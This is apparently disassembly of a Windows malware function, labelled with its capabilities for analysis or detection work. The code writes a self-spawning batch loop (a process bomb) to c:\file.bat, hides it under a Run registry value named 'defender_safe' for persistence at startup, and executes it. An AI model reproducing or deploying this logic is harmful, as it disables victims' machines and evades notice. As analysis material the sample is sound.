Function at 0x140001290
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rsi, [0x140000000]
lea rax, [rsi + 0x5768]
mov qword [rsp + 0x50], rax
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x4c], edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rdi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x60], rdi
mov byte [rbp - 0x24], bl
mov byte [rbp - 0x2f], bl
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x20], rbx
mov rax, qword [0x1400089f8]
mov qword [rbp - 0x2c], rax
mov qword [rbp - 0x38], rbx
mov r8d, 1
lea rdx, str.C:_file.bat
lea rcx, [rsp + 0x60]
call fcn.140002920
test rax, rax
jne 0x1400013b4
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x14000159c
lea rdx, str.El_fichero_no_existe._Creando_fichero_fjgjgjg.bat.
call fcn.140002a90
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x40], rbx
mov qword [rbp + 0x60], rbx
lea r8, str.USERNAME
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x1400015b8
cmp qword [rsp + 0x40], 0
je 0x1400015b8
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsi + 0x5760]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x90], rax
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x8c], edx
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp + 0x98], rdi
mov byte [rbp + 0x114], 0
mov byte [rbp + 0x109], 0
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x118], rbx
mov rax, qword [0x1400089f8]
mov qword [rbp + 0x10c], rax
mov qword [rbp + 0x100], rbx
mov r8d, 2
lea rdx, str.c:_file.bat
lea rcx, [rbp + 0x98]
call fcn.140002920
test rax, rax
jne 0x14000153b
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rdx, str.:s_nstart__0_ngoto_s
lea rcx, [rbp + 0x90]
call fcn.140002a90
lea rcx, [rbp + 0x98]
call fcn.140002860
test rax, rax
jne 0x140001582
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
lea rcx, [rbp + 0x90]
call fcn.1400018a0
jmp 0x1400015b8
lea rdx, str.El_fichero_ya_existe.
call fcn.140002a90
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x48], rbx
mov qword [rbp + 0x88], rbx
lea r8, str.USERNAME
lea rdx, [rbp + 0x88]
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000177a
cmp qword [rsp + 0x48], 0
je 0x14000177a
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
movdqa xmm1, xmmword [0x140005790]
movdqu xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [str.c:_file.bat]
movsd qword [rbp + 0x68], xmm0
movzx eax, word [0x1400055a8]
mov word [rbp + 0x70], ax
movzx eax, byte [0x1400055aa]
mov byte [rbp + 0x72], al
mov byte [rbp + 0x73], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test eax, eax
jne 0x1400016fd
lea rcx, [rbp + 0x68]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001667
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.defender_safe
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, eax
test eax, eax
jne 0x1400016b5
lea rdx, str.Successfully_set_the_registry_key_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002a90
jmp 0x1400016d3
lea rdx, str.Error_setting_the_registry_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002a90
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140002c70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.c:_file.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14000172b
lea rdx, str.Error_opening_the_registry_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002a90
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x1400017a2
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001773
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001773
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000301c
jmp 0x1400017a2
lea rdx, str.Error_obtaining_username.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002a90
mov rcx, rax
lea rdx, [0x140002c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 2
lea rcx, [rsp + 0x50]
call fcn.1400017e0
mov eax, ebx
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140002fc0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret